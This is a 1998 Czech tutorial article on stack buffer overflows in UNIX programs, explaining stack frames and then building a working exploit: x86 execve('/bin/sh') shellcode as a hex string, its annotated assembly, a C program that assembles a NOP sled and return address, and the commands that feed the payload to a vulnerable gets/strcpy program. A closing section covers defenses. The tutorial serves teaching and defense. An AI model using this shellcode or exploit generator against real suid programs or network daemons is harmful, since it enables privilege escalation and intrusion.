Přetečení bufferu -=-=-=-=-=-=-=-=-=- "Never make any mistaeks." (Anonymous, in a mail discussion about to a kernel bug report.) David Rohleder, 3. března 1998 Přetečení bufferu je jednou z nejčastějších bezpečnostních děr v programech UNIXových systémů. Programovací jazyky, které umožňují rekurzivní volání podprogramů (podprogram je rekurzivní, jestliže jeho nová aktivace může začít ještě před tím, než se ukončí jeho předchozí aktivace) musí pro jejich volání používat nějakou dynamickou strukturu, která udržuje informace potřebné k úspěšnému návratu z podprogramu. K tomuto účelu se používá zásobník. Oblasti Nejdříve si musíme vysvětlit, jak je proces organizován v paměti. Proces je rozdělen na tři hlavní oblasti: text, data a zásobník. Textová oblast obsahuje kód programu a data určená pouze pro čtení. Tato oblast je v paměti označena pouze pro čtení a není možno do ní zapisovat. Pokus o zápis vyvolá porušení ochrany paměti. V Linuxu proto není možné psát samomodifikující se programy (no jo, kecám :--). Datová oblast obsahuje inicializovaná a neinicializovaná data. Obsahuje všechny globální proměnné a dynamicky alokované proměnné. S velikostí datové oblasti je možné manipulovat pomocí volání brk(2) a sbrk(2). Zásobník slouží především k uložení lokálních proměnných a předávání parametrů funkcím. Mezi bss a zásobník se ještě mapují sdílené knihovny a věci, které lze mapovat pomocí mmap(2). Zásobníková oblast je souvislý blok paměti obsahující data. Na vrchol zásobníku ukazuje (u procesorů Intel) registr SP. Dno zásobníku je na pevné adrese. Procesor používá pro manipulaci se zásobníkem dvě instrukce: PUSH pro ukládání a POP pro vybírání dat ze zásobníku. Zásobník v závislosti na typu procesoru roste buď směrem k nižším nebo k vyšším adresám. U procesorů Intel, SPARC a MIPS roste zásobník směrem k nižším adresám. Zásobník používají programy k volání svých podprogramů, předávání parametrů a ukládání lokálních proměnných. Na zásobníku jsou uloženy ve formě tzv. aktivačního záznamu AZ. Při implementaci přidělování paměti bývá jeden registr vyhrazen jako ukazatel na začátek aktuálního aktivačního záznamu. Vzhledem k tomuto registru se pak počítají adresy datových objektů umístěných v aktivačním záznamu. U procesorů Intel se používá registr BP (Base Pointer). Naplnění tohoto registru a přidělení nového aktivačního záznamu je součástí volací posloupnosti (prologu) podprogramu. Volací posloupnost je rozdělena mezi volající a volaný podprogram. Volající uloží do zásobníku parametry předávané podprogramu. Pak zavolá pomocí instrukce CALL volaný podprogram. Návratová adresa je uložena na zásobník. Volaný podprogram na zásobník uloží ukazatel na starý aktivační záznam (BP), pak do ukazatele BP uloží vrchol zásobníku a nakonec vyhradí místo pro lokální proměnné. Podprogram potom inicializuje lokální proměnné a začne provádět své tělo. int f(int a, int b, int c) { char buffer[5]; char buffer2[10]; return a+b; } void main(void) { f(1,2,3); } Pomocí gcc vygenerujeme assemblerový kód: gcc -S -o example1.s example1.c Příslušný kód pro volání funkce f vypadá následovně: pushl 3 pushl 2 pushl 1 call f Program uloží tři argumenty v pořadí od posledního k prvnímu na zásobník a pak zavolá funkci f. Toto pořadí ukládání parametrů na zásobník umožňuje snadné volání funkcí s proměnlivým počtem parametrů (funkce s výpustkou -- int funkce(...)). Instrukce call f uloží na zásobník návratovou adresu (návrat je pak proveden instrukcí RET). Volaný podprogram pak provede prolog: /* uloží ukazatel na starý AZ do zásobníku */ pushl %ebp /* do BP uloží ukazatel na nový AZ */ movl %esp,%ebp /* vyhrazení místa pro lokální proměnné */ subl 20,%esp Uloží registr ukazující na stávající aktivační záznam (ebp) a uloží do něj nový ukazatel na právě vytvářený záznam. Pak vytvoří místo pro lokální proměnné. Překladač zarovnává proměnné na délku slova (tzn. v našem případě 4B). Takže bytový buffer velikosti 5 bytů ve skutečnosti zabírá 8 bytů a buffer2 zabírá 12 bytů. Proto je nutno od SP odečíst 20. Po provedení těla podprogramu je nutné obnovit stav, který byl před voláním podprogramu. Tento postup se nazývá návratová posloupnost function epilog) a je opět rozdělen mezi volaný a volající podprogram. Volaný podprogram odstraní ze zásobníku lokální proměnné a obnoví ukazatel na předchozí AZ. Potom pomocí instrukce RET vrátí řízení volajícímu podprogramu. Volající podprogram dokončí návratovou posloupnost tím, že odstraní ze zásobníku parametry předávané podprogramu. Návratová posloupnost volaného podprogramu: /* odstranění lokálních proměnných ze zásobníku */ movl %ebp,%esp /* obnovení ukazatele na AZ volajícího podprogramu */ popl %ebp /* návrat do volajícího podprogramu */ ret Návratová posloupnost volajícího podprogramu: /* odstranění předávaných parametrů ze zásobníku */ addl 12,%esp Přetečení bufferu Data se tedy do zásobníku vkládají od vyšších adres k nižším. Většina operací se ovšem provádí od nižších adres k vyšším adresám. Typickým příkladem může být kopírování řetězců #include <<string.h>> #include <<stdio.h>> void f(char *str) { char buffer[96]; /* tady jsou nějaké instrukce */ strcpy(buffer,str); /* tady mohou být nějaké další instrukce */ } char retezec[512]; void main(void) { gets(retezec); f(retezec); } gcc -o example2 example2.c ./example2 Opravdu velmi ..... sem doplňte min. 90 \ znaků .... dlouhý string ^D Segmentation fault (core dumped) Zde programátor udělal chybu, když neošetřil stav, kdy je do proměnné buffer uloženo více dat než je její velikost. To se mu ovšem krutě vymstí. Protože je proměnná buffer uložena na zásobníku, který roste od vyšších adres k nižším, jsou přepsány všechny informace, které se nacházejí nad proměnnou buffer. Naneštěstí zde leží také návratová adresa do volajícího podprogramu. Při pokusu o návrat tedy s největší pravděpodobností dojde k porušení ochrany paměti a k násilnému ukončení procesu. Ale co s tím? Zatím to nevypadá na nějakou možnost zneužití. Program se pokoušel provést kód, kde žádný kód nebyl a tak interpretovat v podstatě náhodný kód nebo sáhl do oblasti, ke které neměl přístup. Ale co se stane v případě, kdy na daném místě skutečně nějaký programový kód bude? Kód se jednoduše provede. Nejjednodušší případ Zřejmě nejjednodušší je spuštění shellu. Na návratovou adresu, kterou přepsal příliš dlouhý řetězec umístíme volání jádra execve pro spuštění shellu (/bin/sh). Jediné co musíme vědět je, jak takové volání vypadá #include <<unistd.h>> int main() { char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); return 0; } gcc -g -O example3.c -o example3 Výstup z gdb vypadá pro funkci main() následovně: (gdb) disas main Dump of assembler code for function main: 0x8048140 <<main>>: pushl %ebp 0x8048141 <<main+1>>: movl %esp,%ebp 0x8048143 <<main+3>>: pushl 0x0 0x8048145 <<main+5>>: pushl 0x0 0x8048147 <<main+7>>: pushl 0x8058828 0x804814c <<main+12>>: call 0x8048354 <<execve>> 0x8048151 <<main+17>>: xorl %eax,%eax 0x8048153 <<main+19>>: movl %ebp,%esp 0x8048155 <<main+21>>: popl %ebp 0x8048156 <<main+22>>: ret End of assembler dump. (gdb) Disassemblovaný výstup z funkce execve(): 0x8048354 <<execve>>: pushl %ebp 0x8048355 <<execve+1>>: movl %esp,%ebp 0x8048357 <<execve+3>>: pushl %ebx 0x8048358 <<execve+4>>: movl 0xb,%eax 0x804835d <<execve+9>>: movl 0x8(%ebp),%ebx 0x8048360 <<execve+12>>: movl 0xc(%ebp),%ecx 0x8048363 <<execve+15>>: movl 0x10(%ebp),%edx 0x8048366 <<execve+18>>: int 0x80 0x8048368 <<execve+20>>: movl %eax,%edx 0x804836a <<execve+22>>: testl %edx,%edx 0x804836c <<execve+24>>: jnl 0x804837e <<execve+42>> 0x804836e <<execve+26>>: negl %edx 0x8048370 <<execve+28>>: pushl %edx 0x8048371 <<execve+29>>: call 0x8050a44 <<__normal_errno_location>> 0x8048376 <<execve+34>>: popl %edx 0x8048377 <<execve+35>>: movl %edx,(%eax) 0x8048379 <<execve+37>>: movl 0xffffffff,%eax 0x804837e <<execve+42>>: popl %ebx 0x804837f <<execve+43>>: movl %ebp,%esp 0x8048381 <<execve+45>>: popl %ebp 0x8048382 <<execve+46>>: ret 0x8048383 <<execve+47>>: nop Nejdůležitější činností knihovní funkce execve je volání jádra vytvářející nový proces. V Linuxu pro Intel se pro volání jádra používá přerušení int 80. Číslo funkce jádra se předává v registru eax a případné parametry pak v dalších registrech. Číslo 0xb je právě číslo funkce v jádře, která přepíše stávající kód novým kódem a spustí jej. Nyní by stačilo použít tuto část kódu jako řetězec, kterým přetečeme buffer v níže uvedeném programu. Jsou zde ovšem dva malé problémy. Řetězec "/bin/sh" se do volání execve() předává jako ukazatel na řetězec. Tento řetězec je umístěn v datovém segmentu. Protože nemůžeme počítat s tím, že program, který se snažíme napadnout bude mít někde v paměti řetězec "/bin/sh" musíme si ho dodat sami. Druhý problém spočívá v tom, že kód obsahuje nulové byty -- chceme totiž pro přetečení bufferu použít volání strcpy(). Řešení prvního problému je následující: řetězec "/bin/sh" umístíme na konec našeho řetězce s kódem. Nyní musíme ovšem zjistit adresu tohoto řetězce. Použijeme k tomu sekvenci relativního skoku (jmp) a relativního volání (call). Instrukci jmp umístíme na začátek kódu. Instrukci call na konec kódu, těsně před řetězec "/bin/sh". Instrukce jmp provede relativní skok na instrukci call, která uloží do zásobníku návratovou adresu a provede skok na instrukci těsně za jmp. Instrukce call uloží na zásobník adresu následující instrukce. Za call ovšem není instrukce, ale řetězec "/bin/sh". Tímto poněkud komplikovaným způsobem jsme získali adresu řetězce "/bin/sh". Druhý problém vyřešíme pomocí instrukce xor %eax,%eax, tak dostaneme do registru eax nulu bez uvedení nulového bytu. Tak na všechna místa, kde by měla být nula umístíme nulu až v době běhu našeho kódu. #include <<stdlib.h>> #define BUFFER_SIZE 96 #define AZ 12 #define NAS_BUFFER BUFFER_SIZE+AZ+1 #define NOP 0x90 /* Velikost bufferu, který se snažíme přetéct. * Na začátku bude obsahovat instrukce nop a * na konci adresy začátku programu * AZ ... velikost aktivačního záznamu */ /* * řetězec použitý pro spuštění programu /bin/sh * podle chuti je možno nahradit /bin/sh jinym programem * se jménem o délce 7 znaků: např. /bin/ps */ char shell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char *buff, *ptr; unsigned long *addr, *addr_ptr; int i; void main(int argc, char *argv[]) { if (argc<<2) { printf("špatný počet argumentů\n"); exit(1); } sscanf(argv[1],"%p",&addr); if(!(buff = malloc(NAS_BUFFER))){ printf("Nedostatek paměti ???\n"); exit(1); } addr_ptr = (long *) buff ; for(i=0;i<<(NAS_BUFFER);i+=4) *(addr_ptr++) = addr; /* pár NOPů na začátek nemůže uškodit */ for(i=0;i<<20;i++) *(buff+i) = NOP; ptr=buff+20; for (i=0;i<<strlen(shell);i++) *ptr++=shell[i]; buff[NAS_BUFFER-1]='\0'; printf("%s\n",buff); } Z programu na výpisu pak získáme řetězec, který spolu s dalšími částmi použijeme při přetečení bufferu. Program, který tento řetězec vytvoří je na výpisu: void main() { __asm__(" jmp 0x1f # skok na instrukci call popl %esi # adresa řetězce /bin/sh movl %esi,0x8(%esi) # druhý parametr volání execve na zásobník xorl %eax,%eax # movb %eax,0x7(%esi) # ukončí řetězec /bin/sh nulou movl %eax,0xc(%esi) # třetí parametr volání execve na zásobník movb 0xb,%al # syscall 11 -- execve movl %esi,%ebx # první parametr do %ebx leal 0x8(%esi),%ecx # druhý parametr do %ecx leal 0xc(%esi),%edx # třetí parametr do %edx int 0x80 # volání jádra execve xorl %ebx,%ebx # proběhne pouze v případě, movl %ebx,%eax # že volání execve selže, pak se volá inc %eax # int 0x80 # exit(0) call -0x24 # získání adresy řetězce a návrat na začátek .string "/bin/sh" "); } Tímto způsobem vygenerujeme řetězec, který bude na začátku obsahovat několik instrukcí NOP (pro jistotu, nemusí tam být), pak řetězec, který spouští program /bin/sh a nakonec adresu začátku řetězce, kterou zadáme jako parametr (touto částí přepíšeme návratovou adresu). Nyní ovšem musíme zjistit, kde začíná proměnná buffer na zásobníku. Asi nejjednodušší způsob je upravit program example2.c, aby nám tuto adresu vytiskl #include <<string.h>> #include <<stdio.h>> void f(char *str) { char buffer[96]; fprintf(stderr,"Zásobník: %p\n",buffer); strcpy(buffer,str); } char retezec[512]; void main(void) { gets(retezec); f(retezec); } Funkčnost programu ověříme následovně: gcc -o example5 example5.c gcc -o example6 example6.c ./example6 ^D Zásobník: 0xbffffabc ./example5 0xbffffabc | ./example6 \end{verbatim}% A nyní na původním programu: \begin{verbatim} ./example6 ^D Zásobník: 0xbffffabc ./example5 0xbffffabc | ./example2 Pokud jsme postupovali správně, tak se speciálním vstupem dosáhneme spuštění jiného programu (pokud to není zřejmé, zkuste nahradit řetězec "/bin/sh" řetězcem "/bin/ps"). Představte si takovou chybu například v programu finger (dříve byl spouštěn pod uživatelem root). Zneužití? Možnost zneužití takovéto programátorské chyby obvykle závisí na charakteristice daného programu. O zneužití se dá hovořit zejména v případě programů s propůjčením identifikace vlastníka (suid) nebo aplikací spuštěných s oprávněním někoho jiného a čtoucí data od uživatele (např. síťové démony). Asi nejznámější případ takového druhu zneužití byl tzv. Morrisův internetový červ zneužívající mimo jiné přetečení bufferu při čtení dat v démonu finger(1). Obrana? Správné programovací techniky :--). Záměna funkcí typu strcpy() za funkce strncpy(), gets() za fgets() a pod. Dalšími možnostmi jsou zejména speciálně upravené překladače nebo přímo patch do jádra. O tom možná někdy příště... Použitá literatura: Smith, Nathan P.: Stack Smashing Vulnerabilities in the UNIX Operating System http://millcomm.com/ nate/machines/security/stack-smashing/, Aleph One: Smashing The Stack For Fun And Profit Phrack 49 výheň